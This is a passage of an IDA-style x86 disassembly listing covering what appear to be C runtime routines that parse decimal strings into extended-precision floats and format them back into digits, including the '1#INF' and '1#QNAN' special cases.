		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43CBD8
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43CBD8
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43CBD8
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43CBD4, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C9C8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43CBD8
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43CBD4, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C9C8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43CBD4, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C9C8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43CBD4, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C9C8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43CBD4, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C9C8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
